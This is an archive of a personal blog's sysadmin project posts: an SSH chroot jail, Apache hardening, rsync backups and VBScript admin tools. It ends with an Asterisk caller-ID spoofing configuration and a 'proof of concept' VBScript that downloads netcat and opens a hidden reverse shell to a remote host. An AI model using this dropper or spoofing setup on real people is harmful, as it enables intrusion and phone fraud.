Allan Feid - project

Announcing FreePanel

Allan Feid — Fri, 15 Jan 2010 17:40:38 +0000

What's been keeping me busy? Well I've been working for a managed hosting company (DataPipe) and that has been the biggest source of time suck for me. Outside of that I've been working on some Perl modules to make administrating load balanced servers as easy as possible. For now, read the source if you want to know more:

FreePanel

Creating a Chroot Jail for SSH Access

Allan Feid — Wed, 01 Apr 2009 03:57:00 +0000

Update 5/30/2018:

@CodingFree points out that the l2chroot script used in this blog post fails to handle /lib64, and @el_shoo confirms everything in this post still works as long as you create /lib64. I have updated the post to reflect this, great to see it still working almost 10 years later.

I wanted to setup a way to allow SSH access to my machine but limit their abilities heavily. To do that I figured a chroot jail was the best way. In this example I'm using ArchLinux and OpenSSH 5.1p1. It should be a very similar process on any *nix operating system.

Setup your test user

The way I'm setting this up, is that all my chrooted users will be added to the sshusers group. So we must setup the group, then add the user.

$ groupadd sshusers
$ adduser -g sshusers user

Setup the jail directories

The next step is to setup all the directories needed. This needs to emulate the / directory to a bare minimum. That is we need a dev, etc, lib, usr, and bin directory as well as usr/bin/. The base directory has to be owned by root.

$ mkdir -p /var/jail/{dev,etc,lib,lib64,usr,bin}
$ mkdir -p /var/jail/usr/bin
$ chown root.root /var/jail

You also need the /dev/null file:

$ mknod -m 666 /var/jail/dev/null c 1 3

You need to fill up the etc directory with a few minimum files:

$ cd /var/jail/etc
$ cp /etc/ld.so.cache .
$ cp /etc/ld.so.conf .
$ cp /etc/nsswitch.conf .
$ cp /etc/hosts .

Once this is done you need to figure out what commands you want accessible by your limited users. In this example I only want the users to be able to get into bash and use the ls command. So you must copy the binaries to the jail.

$ cd /var/jail/usr/bin
$ cp /usr/bin/ls .
$ cp /usr/bin/bash .

Now that you've got all the binaries in place, you need to add the proper shared libraries. To find out what libraries are need you can run ldd /path/to/bin. The output looks similar to this:

$ ldd /bin/ls
         linux-gate.so.1 =>    (0xb7f2b000)
         librt.so.1 => /lib/librt.so.1 (0xb7f1d000)
         libacl.so.1 => /lib/libacl.so.1 (0xb7f16000)
         libc.so.6 => /lib/libc.so.6 (0xb7dcf000)
         libpthread.so.0 => /lib/libpthread.so.0 (0xb7db7000)
         /lib/ld-linux.so.2 (0xb7f2c000)
         libattr.so.1 => /lib/libattr.so.1 (0xb7db2000)

Then you have to manually copy each file to the lib directory in your jail. That is a pain. Especially if there is a lot of shared libraries for a binary you want. I came across a useful script called l2chroot which automatically finds the libraries and copies them to your chroot jail.

cd /sbin
wget -O l2chroot http://www.cyberciti.biz/files/lighttpd/l2chroot.txt
chmod +x l2chroot

Edit the l2chroot file and change BASE=”/webroot” to BASE=”/var/jail”. This tells l2chroot where your jail is located so it copies everything to the right place. Now go ahead and run the command on the binaries you want.

l2chroot ls
l2chroot bash

Configure SSHd to Chroot your users

All that is left is to set a few things in your sshd configuration file. You need to make sure you have at least OpenSSH 4.8p1, because before that they didn't have this nice ChrootDirectory() function. Previously there was a few extra steps you had to take to get it working, but really you should have a newer version anyway. To configure ChrootDirectory add the following to /etc/ssh/sshd_config:

Match group sshusers
          ChrootDirectory /var/jail/
          X11Forwarding no
          AllowTcpForwarding no

Note that this also disables X11Forwarding and does not allow port forwarding. If you want to setup a box to allow secure tunneling for your friends, you may want to change this.

Optional Steps

When you login to your test user, you'll notice a prompt as such:

bash-3-2$

That is not a very useful bash prompt. So if you want something a little better I recommend simply copying the contents of /etc/skel to /var/jail/home/user. This gives you a .bashrc file which sets the PS1 variable to a much nicer looking prompt. Here's what mine looks like:

phrygian:~> echo $PS1
\h:\w>
phrygian:~>

Hardening an Apache Server

Allan Feid — Fri, 30 Jan 2009 02:18:46 +0000

Apache is a very popular web server for a Linux environment. Just as most services visible on the Internet, you should implement ways of protecting yourself from malicious users. Here I discuss how I harden my Apache installations as installed through the apt-get package management system on Debian (should be the same on Ubuntu as well). This should easily be applied to other distributions but just note that the locations of files are probably different.

1: Disabling unnecessary modules

When you install apache through apt-get on a Debian based server, it comes with a few modules pre-enabled that give an attacker too much information about your system. These are the autoindex and status modules. Here's what they do:

autoindex: provides a nice list of all the files in a directory where no index file is given
status: gives you a nice little server monitoring web page to visit

There's more than one way to disable these modules. You can either remove the symlink from /etc/apache/mods-enabled/ or use a built in command that does the exact same thing.

a2dismod status
a2dismod autoindex

2: Change some of the default settings

By default, most applications give you settings that let them just work. To secure things up you usually have to edit those config files. Well, apache is no different. Open up /etc/apache2/apache2.conf and change the following:

TIP: use the find function of your editor to quickly find these options

ServerSignature Off
- Stops your error pages from showing your Apache version number
ServerTokens Prod
- Stops HTTP header information from including Apache version information
Remove or comment out entire ... "); ?> section
- You already disabled this module, no need to have it here
Remove the Alias /icons/ line along with the directory listing below
- These icons are only used by the autoindex module, no point in having these here

3: Add some custom configurations

Add these to /etc/apache2/httpd.conf. I'll explain what they do in the comments above each line.

"); ?>

# This is used to prevent the TRACE http method from 
# gathering path information from proxy or cache servers

  "); ?>

     deny from all
  ") ?>


# The '-' disables the following options
#  FollowSymLinks - could allow an attacker to browse
#  outise the doc tree
#
#  Includes - deals with .shtml; prevents server-side includes
#
#  AllowOverride None - prevents developers from changing
#  options with .htaccess files other places in the doc tree

  Options -FollowSymLinks -Includes -Indexes  -MultiViews
  AllowOverride None
  Order allow,deny
  Allow from all
"); ?>

Also, add this to the same file to prevent access to your root directory (/):

"); ?>

    Order deny,allow
    deny from all
"); ?>

4: Change some file permissions

Your public html folder (in Debian by default this is /var/www) should be only writable by root. It does still need to be world readable however so apply the following permissions:

chown -R root /var/www
chmod -R 775 /var/www

Summary

This will give you a pretty secure Apache server, but it's by no means complete and depends entirely on what you need to do on your server. This is just a list of my own personal recommendations and is what I use to setup a web server from scratch. The key to staying secure, however, is to keep your systems up-to-date and watch bug tracking mailing lists (Bugtraq for example) for any reports as they often supply workarounds and fixes for these issues.

Scenario: Your company has been hacked. What now?

Allan Feid — Tue, 02 Dec 2008 06:29:12 +0000

Attachment	Size
scenario.pdf	710.46 KB

Key Points
Here's a list of key points that are covered in this scenario:

IP Scheme
Workstation Security

Turning off unnecessary services
Internet access policies
Anti-Virus considerations

Intrusion Detection / Prevention

Man-in-the-middle prevention using ARPwatch
Firewall Settings
The DMZ

Why do you need this security?

The Scenario
To set things up this is a basic scenario that could happen to anyone. I'll be using the fake name of "InterPath."

On April 11th, 2008 InterPath Financial Institution (IFI) was broken into by hackers. They breached into our main headquarters where we maintain all of our customers personal information. We are unsure of what they took, changed, or if they still have access to our computer systems. We have informed all of our customers who's data was stored at the main headquarters. We have about 25,000 customers 15,000 of which are stored at our main headquarters. This is unacceptable and we don't know the damage that's been done.

The company, InterPath, has three locations. The headquarters, a call center, and a marketing center. The network's infrastructure is going to be entirely redesigned to include a nice way to transparently monitor everything that goes on. I've come up with a network diagram for each.

Main Headquarters, Las Vegas, NV

Customer Service Call Center, Mesa, AZ

Marketing Center, Phoenix, AZ

All three locations are connected through a high-bandwidth internet connection using IPSec over Layer 2 Tunneling Protocol (L2TP).

To read my entire solution to this problem, which goes into much more detail, there is a PDF file attached below. Please feel free to read it and give me any feedback.

Automated Backup w/ rsync over SSH

Allan Feid — Wed, 26 Nov 2008 01:47:52 +0000

There are four main sections to getting this up and running

Introduction
Installing/Configuring Required Software

OpenSSH
rsync
smbfs (optional)

Auto-mounting a Windows share (optional)

Creating a script to do the work for you

Automating the backup using cron jobs

Introduction

Before going over everything here, I'd like to point out why this information is useful and define a few terms. Using rsync to create a backup server solution is entirely free and conserves bandwidth. The reason it conserves bandwidth is rsync itself only sends the parts of each file that have changed. FTP sends the entire file each time even if only one word was changed in a file. Sending all of this traffic over SSH ensures security and also protects you from having to run a full rsync server. Key Terms:

Backup server: the PC that will be issuing all the rsync commands and storing the backups
Host computer: the PC where we will be getting the files from

With all of that out of the way, it's just a matter of setting everything up.

Installing/Configuring Required Software

In order to get things going you'll need to install a few pieces of software. In my situation I had a Windwos share that I wanted to back my home folder up to. In order to play around with Windows shares you'll need to also install the samba client.

OpenSSH

Simple to install with one line:
sudo apt-get install openssh-server

Once this is done you will be able to connect but it requires a password entry. This is sort of a problem when we're looking at automating the entire backup process so in order to solve that problem we'll use ssh keys instead. From your backup server we'll need to create an ssh key by issuing the following:

ssh-keygen -t dsa

Now you can either copy the key manually in some fashion or do it over an SSH connection with this:

scp ~/.ssh/id_dsa.pub username@x.x.x.x:./id_dsa.pub

Note that username is the local account on the host and x.x.x.x is the IP of the host. What this will do is copy the public key from the server to our host. After that we need to tell our host PC to use that key as authorization instead of asking for a password.

cd .ssh
touch authorized_keys2
chmod 600 authorized_keys2
cat ../id_dsa.pub >> authorized_keys2
rm ../id_dsa.pub

Here you can see we just change directory to .ssh and use touch to create the file authorized_keys2. Once the file is created lock it down and only allow the current user to change the file and finally add the public key then remove the original file containing the key. When you finish this try it out. If you're able to connect to your host pc from the backup server over SSH with no password everything has been setup correctly.

rsync & smbfs

These two are simple to install with just one line:

sudo apt-get install rsync 
sudo apt-get install smbfs

Keep in mind that smbfs is not required it just depends on your setup. If you would like to backup to/from a Windows share then you will want this along with the next section. Otherwise you can skip down to automating the backup using cron jobs.

Auto-mounting a Windows share (optional)

To mount a windows share everytime you boot up you will need to modify your /etc/fstab file. You only need to add one line at the end of this file like this:

//x.x.x.x/Backups /media/Backup cifs iocharset=utf8,credentials=/root/.smbcredentials,uid=1000 0 0

Of course you must replace x.x.x.x with the IP of your Windows computer and "Backups" with the share name. You will also need to create the file /root/.smbcredentials.

.smbcredentials

username=MyUsername@domain.com
password=MyPassword

This is a security risk because anyone with root priviledges can read your username/password in plain text so we must lock this down as much as possible.

sudo chown root /root/.smbcredentials
sudo chmod 600 /root/.smbcredentials

Also as a side note, you won't need "@domain.com" if your PC is not part of a domain. Once all this is down you can mount everything by issuing this:

sudo mount -a

You should now be able to access the share by browsing /media/Backups.

Creating a script to do the work for you
We're all lazy. Especially with making sure we have up-to-date backups. So to make it easier I've compiled a simple script that will ping the host to make sure it's alive and then execute the rsync command.

rsync_backup.sh

#!/bin/bash
awk '	function pinger(count,ip) {
		command = "ping -c "count " " ip		
		while (( command | getline res )> 0 ) {	
			if ( res ~ /0 received|100% packet loss/ ) {
				close(command)
				return 100			 
			}
		}
	close(command)
	return 0
	}	
	BEGIN { 	
	IP="x.x.x.x"	
	if ( pinger(2,IP) == 0 ) {
		system("rsync -raz --delete --rsh=ssh user@x.x.x.x:/home/user /media/Backup")
	}
}'

This will of course need to be modified to work with your setup. Replace x.x.x.x with your hosts IP and /home/user with the directory you would like to backup.

rsync -raz --delete --rsh=ssh user@x.x.x.x:/home/user /media/Backup

Here you can modify the actual rsync command used. The options r, a, & z are used for recursive, archive, and compress the data. The delete option deletes files that no longer exist on the source (in this case /home/user) and rsh tells rsync to use ssh. Take a look at the man page for further information about available rsync commands.

Automating the backup using cron jobs

To run this script everyday at 11PM you can simply add a cron job.

crontab -e

The above starts your default text editor in the file that holds cron jobs. The next line is what should be added to run the script at a certain time everyday.

0 23 * * * /path/to/rsync_backup.sh

Take a look at the crontab man page for a more detailed explanation of how cronjobs work.

Summary

Once this is all setup it's easy to modify to backup multiple PCs from the single backup server. For Windows PCs you can create a share or use the administrative share (\\comp\c$\path\to\files) and auto-mounting in order to back up PCs without installing SSH or rsync. This concept also works for Linux environments but does require a full samba install and configuration. That's the beauty of rsync, you can really do whatever you would like with it. If you have any questions or feel stumped feel free to contact me.

Back to my projects

Useful Administrative Scripts

Allan Feid — Wed, 19 Nov 2008 03:20:20 +0000

On this page is a few simple scripts I've worked on and probably something all network admins should have in some form. It will make life easier trust me.

Backup Files for Workstation Rebuild/Migration
Add a list of users to Active Directory from a text file

Backup Files for Workstation Rebuild/Migration

Here's a script I wrote while working as an intern at IND Corp. It's pretty straight forward. What it does is copy files from one location to another by file extension. It also creates a list of printers that are installed and backs up all local user's Favorites folder.

For i = 0 To Ubound(arrFileTypes)
	WScript.Echo "Copying all " & arrFileTypes(i) & " files..."
	Log arrFileTypes(i) & " files"
	Log "-------------------------------------------------------------------"
	Set objScriptExec = objShell.Exec("xcopy " & source & "\*." & arrFileTypes(i) & " c:\back /C /Y /S")
	Log objScriptExec.StdOut.ReadAll
Next

The loop that copies all the files

If you look at the snippet above you can see it just uses the built in program called xcopy to copy all the files from the source to the destination. The script will actually use input boxes to retrieve the source and destination.

This script dose have a few limitations. You cannot set the source to say C: and the destination to C:\backup. This is because of how xcopy works. It will recursively scan C: and it can't copy the files to somewhere that it will be searching for files. Typically, as an administrator you should be backing up to a network share or external drive anyway so this isn't that big of a deal.

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
	& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colInstalledPrinters =  objWMIService.ExecQuery _
	("Select * from Win32_Printer")

' loop through printers and output to file
WScript.Echo "Creating list of printers..."
Log "Installed Printers"
Log "-------------------------------------------------------------------"
For Each objPrinter in colInstalledPrinters
	Log(objPrinter.name)
Next

Query WMI for the installed printesr

Above you see how the script looks at WMI for all the installed printers and just uses the Log function to output it to the output file. Which in this case is called _output.txt and stored in the backup destination. This file will tell you everything that was backed up and give you the printer list.

Downloads: Sample Output, Script Source, Basic Instructions

Add a list of users to Active Directory from a text file

Features:

Adds users from a specified text file
creates a log file to keep track of what is happening
Writes to Event Log on successful creation of a user
Automatically generates config file if none is present (must be edited to use properly)
Easy to configure for people who don't know anything about scripting
Ability to assign what OU to store the user in
Various options for configuring how a user is added
Checks for username conflicts then adds integer to create a unique username

This script will save you tons of time when your company decides to hire a whole bunch of people. Chances are your company will have everything about the new hires in a database. Well with a simple database query you can create a comma separated list to be used with this script. I put a lot of time into this one to make it the most user friendly (well for people that know what they're doing) as possible. Upon first run it creates a configuration file. Which looks something like this:

# signifies a comment

#Path to text file containing user information
user_file=users.txt

#Path to OU where new users are added, read README.txt for more info
ou_path=ou=OU, ou=To, ou=Path

#Fully Qualified Domain Name
domain=example.com

#Default password for new users
default_password=ChangePass1

#force user to change password at next logon
force_change=1

#create account disabled
account_disabled=1

This really allows it to be used on any network since nothing is hard coded. All the settings are loaded into a dictionary object and called upon when needed.

There's also some nice error checking built in that will test to see if a username is already taken. If it is it tries appending an integer and increases it by 1 until it finds a unique username. The naming scheme I used was first initial + last name. It also fills in the users address and phone number.

Downloads: Read me first!, Script Source, Example User List

Back to my projects

Collect Server Maintenance Information

Allan Feid — Tue, 18 Nov 2008 21:35:32 +0000

This was the first real VBScript I used on the job. I wrote this while I held an intern position at an IT outsourcing company called Innovative Network Design (IND) Corporation in Parsippany, NJ. The reason I wrote it is simple, they kept assigning me to collect specific information from various client servers. So why keep doing it manually? I wrote this code and the employees actually still use it.

Project Overview:

Using VBScript I was able to come up with a way to create a file that shows administrators key information about a Windows Server 2003 machine. There is also a lot of error checking going on behind the scenes and a few things the script user must input before anything happens.

Key VBScript Concepts:

Ability to query WMI for various objects
Extensive error checking
Use of UNC (\\server\share) file paths to allow remote execution
Completely modular, all tasks are in their own procedure

User Input Required:

Upon starting the script it will ask you where you'd like to backup the Event Logs to along with your initials. The company I was working for did not have a standard place to back up the logs to so it had to be flexible. Also, as a standard practice we would append our initials to the end of the log file name.

Ask for a valid directory and check if it exists

' ask user for backup log location
Dim i
i = 0
Do While CheckFolderExists(usrFileLoc) = False
	If i = 0 Then
		usrFileLoc = InputBox _
			("Directory to backup Log files to:", _
			"Input Required")
	Else
		usrFileLoc = InputBox _
			("Invalid Directory..." & vbCrLf & _
			"Directory to backup Log files to:",  _
			"Input Required")
	End If
	i = i + 1
Loop

Ask the user for his/her initials

' ask user for initials
Do While strInitials = ""
	strInitials = InputBox("What are your initials?", _
		"Input Required")
Loop

Error Checking Capabilities:

The script will create an dictionary of all the available WMI objects available on the system and before trying to query each WMI object it checks if the WMI object exists in the dictionary. Then log the error to a second dictionary object. At the end of the script it will tell you what problems it encountered or tell you everything ran successfully. The below code shows an example of what is going on before trying to query WMI.

' check the dictionary objWMIClasses for "Win32_NTLogEvent"
If objWMIClasses.Exists("Win32_NTLogEvent") Then
     ' run the code to check event logs
End If

The User Interface:

The user interface is entirely command line based. This is used to show progress as the script runs. It can take some time to complete if there are a lot of logs on the system or a lot of partitions (it has to run disk analysis on each one) so this interface gives you a good idea about what is going on.

When you see an "X" that means the item completed successfully while as a "!!" means there was an error while checking that individual item. When there is an error you will be shown more information at the end of the script as shown below.

Output File:

The output file is in Rich Text Format (.rtf) for issues related to the company I was working for at the time. To take a look at a full example download an example output file.

Source Code and Read Me files:

Below you can obtain the actual script along with the read me file. The read me file contains a change log which shows my progress.

Download Source Code
Download README file

Watch the script in action:

All Information Gathered:
Here's a list of everything that is gathered

Operating System

Name
Version
Service Pack

CPU Info (listed per core)

Clock speed
Manufacture
Type
Current load

Memory Information

RAM slot number
Memory size
Speed
Type

Hard Drive Info

Model
Drive size
Drive type
Number of partitions

Volume name
Volume size
Cluster size
Used space
Free space
Percent free space
Total fragmentation
Disk Analysis defrag recommendation output

List of errors in the Device Manager

Error message and name

Parsing of all Event Logs on the system

Each unique error outputs the following

Total times this error occurred
Category
Computer Name
Event Code
Message
Record Number
Source Name
Time Written
Event Type
User

Anti-Virus information (if Symantec AV is installed)

Date last updated definitions
Parent Server
Client Group
Product Version
Scan Engine

Windows Updates available

Number of high, normal, and low priority available

Back to my projects

Caller ID Spoofing w/ Asterisk

Allan Feid — Tue, 18 Nov 2008 01:23:34 +0000

Caller ID is often thought of as the ultimate way to see who is calling you. People use it to screen calls all the time. When you're able to spoof that number to whatever you would like you can easily defeat human nature of screening out calls from people they don't want to talk to. Besides being able to get in touch with those ignoring your calls it can be an attackers best friend. He or she can simply spoof your bank's number and social engineer you into giving out valuable information. The way people rely on caller ID it is unlikely the victim will realize what has happened until it is far too late.

Hardware Used:

Intel P4 box with 1GB of RAM

Software Used:

Ubuntu 7.10 Server
Asterisk
VMWare Workstation

Prerequisites

VoIP service from companies like NuFone or VoicePulse which allow you to use your own PBX
Asterisk installed and able to run
Basic Linux knowledge

Table of Contents

Introduction
Configuring Asterisk
Final Thoughts

Introduction

There are 3 main configuration files that need a bit of tweaking to get Asterisk working properly. These are iax.conf, sip.conf, and extensions.conf. The names pretty much tell you what each will be configuring. IAX is Inter-Asterisk Exchange and is the protocol used when connecting two Asterisk servers and is perfect for NAT transversal unlike the nightmare of SIP. SIP is the protocol that software based phones or hardware IP phones use to connect to the Asterisk box and extensions are what process call flow and routing. These configuration files all follow the standard "INI" file type where sections are denoted such as [section1] and variables under sections are declared simply with var=foo.

Configuring Asterisk

First thing we'll cover is setting up the connection to your VoIP provider. Most good providers will give you a sample iax configuration file that you can look over for specifics to your service but in most cases simple open up /etc/asterisk/iax.conf and add a few lines at the end as follows:

[VoicePulse]
type=peer
host=server.example.voicepulse.com
username=SomeuSer
secret=PaSsWorD

The first line there gives this connection a human readable name. The type tells Asterisk what type of connection this will be. Peer lets us know we will be sending calls through this connection. Host, username, and secret are all used to make the connection and authenticate. All of this should be given to you by your provider. As you can see this configuration is very basic and there are tons more options that can be done if this was going to be used in a production environment. The next file we need to edit is /etc/asterisk/sip.conf.

[sipuser]
type=peer
host=dynamic
username=allan
secret=1234
context=outgoing

First line is again used to give the connection a name and type lets Asterisk know we can send calls to this connection and also make calls out. Setting host to dynamic ensures Asterisk keeps track of the IP/Hostname of the connection since it uses a dynamic IP. Username and secret are the username and password used to make the connection and context is used to simply tell Asterisk which context in the extension configuration to use. This lets Asterisk route the call as needed and be changed for each SIP user if you would like. The last configuration file for Asterisk is located in the same directory and named extension.conf. Open it up and add the following to the end:

[outgoing]
exten => _1NXXNXXXXXX,1,SetCallerID(2024561111)
exten => _1NXXNXXXXXX,n,Dial(IAX2/VoicePulse/${EXTEN})

Once again the first line is used to give a name to our settings. In this case it is called a context and that is what Asterisk uses to place calls based on your own rules. The next two lines will match any 1 + 10 digit US number. The N's and X's are basically just wild cards N matching any digit greater than 2 and X matching any at all. The 1 tells Asterisk to do that command first and the n is used to say "do this next" is basic terms. SetCallerID() is the key to spoofing caller ID. Here you can change the number to whatever you would like but most providers require a 10 digit number while others will let you even set your caller ID to numbers like 911. The next command is Dial() which is what we use to send off the call. The arguments used tell Asterisk to use the IAX2 protocol to our VoicePulse connection and to route the call to what we've dialed. ${EXTEN} is just a global variable used for the number dialed.

Everything should now be setup correctly and ready to use. The only thing left to configure is your softphone or IP phone depending what you are using. This is specific to individual phones and out of the scope of my project but essentially you tell your phone to connect to your Asterisk server. Often times from experience softphones will refer to this as "releam" or "domain" depending what phone you use (I recommend X-Lite or Twinkle). Besides that it will just ask for your username and password which were setup in sip.conf.

CID Spoofing In Action

As you can see because of CNAM it shows the owner of that number as well as the actual number. Sorry about the image quality I could not take a picture of my phone without it being blurry :( but you get the idea.

Final Thoughts

Caller ID spoofing is not illegal in anyway. You should however worry about committing fraud as there are tons of laws against that. The real use of caller ID spoofing is to just trick your friends and have some fun. Don't do anything stupid. This is just information I'm trying to spread in order to show people that you can't always trust what your caller ID says.

Back to my projects

Create a backdoor into a Windows system

Allan Feid — Tue, 18 Nov 2008 00:37:27 +0000

Using VBScript and netcat it is quite simple to create a basic backdoor into a users system with the priviledges of the user that ran the script. It's a very basic concept and all it does it download the netcat program (nc.exe) from a trusted website into the users c:\windows\system32 folder. What this does is allow you to run netcat from the command line without dealing with the full location of nc.exe. Once the file is in the system32 folder it can simple be run from any command prompt.

***This is a proof of concept and should not be used for illegal purposes. Only use this in your own test environment and I take no responsibility if you mess something up with this***

To set this up, you need to have a computer running netcat waiting for the incomming connection. To do that just run a simple command such as:

nc -l 1337

That's when we tell the script to run the following netcat command:

nc -d 10.0.0.8 1337 -e cmd.exe

What this does is tell netcat to connect to the IP 10.0.0.8 on TCP port 1337. The -e switch tells netcat to execute cmd.exe and output it to the server waiting for the connection. The -d switch tells netcat to run in the background in a Windows environment. The user won't even know it's running without checking the process list.

Here's an example script that will automatically download nc.exe, write it to c:\windows\system32 and then execute the netcat command to connect to the remote server:

' Set your settings
    strFileURL = "http://10.0.0.10/nc.exe"
    strHDLocation = "C:\WINDOWS\system32\nc.exe"
 
' Fetch the file
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
 
    objXMLHTTP.open "GET", strFileURL, false
    objXMLHTTP.send()
 
    If objXMLHTTP.Status = 200 Then
      Set objADOStream = CreateObject("ADODB.Stream")
      objADOStream.Open
      objADOStream.Type = 1 'adTypeBinary
 
      objADOStream.Write objXMLHTTP.ResponseBody
      objADOStream.Position = 0    'Set the stream position to the start
 
      Set objFSO = Createobject("Scripting.FileSystemObject")
        If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
      Set objFSO = Nothing
 
      objADOStream.SaveToFile strHDLocation
      objADOStream.Close
      Set objADOStream = Nothing
    End if
 
    Set objXMLHTTP = Nothing

Set objShell = CreateObject("WScript.Shell")

' Execute the connection
objShell.Exec("nc -d 10.0.0.8 1337 -e cmd.exe")

Back to my projects

Allan Feid - project

Announcing FreePanel

Tags:

Creating a Chroot Jail for SSH Access

Setup your test user

Setup the jail directories

Configure SSHd to Chroot your users

Optional Steps

Tags:

Hardening an Apache Server

1: Disabling unnecessary modules

2: Change some of the default settings

3: Add some custom configurations

4: Change some file permissions

Summary

Tags:

Scenario: Your company has been hacked. What now?

Tags:

Automated Backup w/ rsync over SSH

Tags:

Useful Administrative Scripts

Tags:

Collect Server Maintenance Information

Tags:

Caller ID Spoofing w/ Asterisk

Tags:

Create a backdoor into a Windows system

Tags: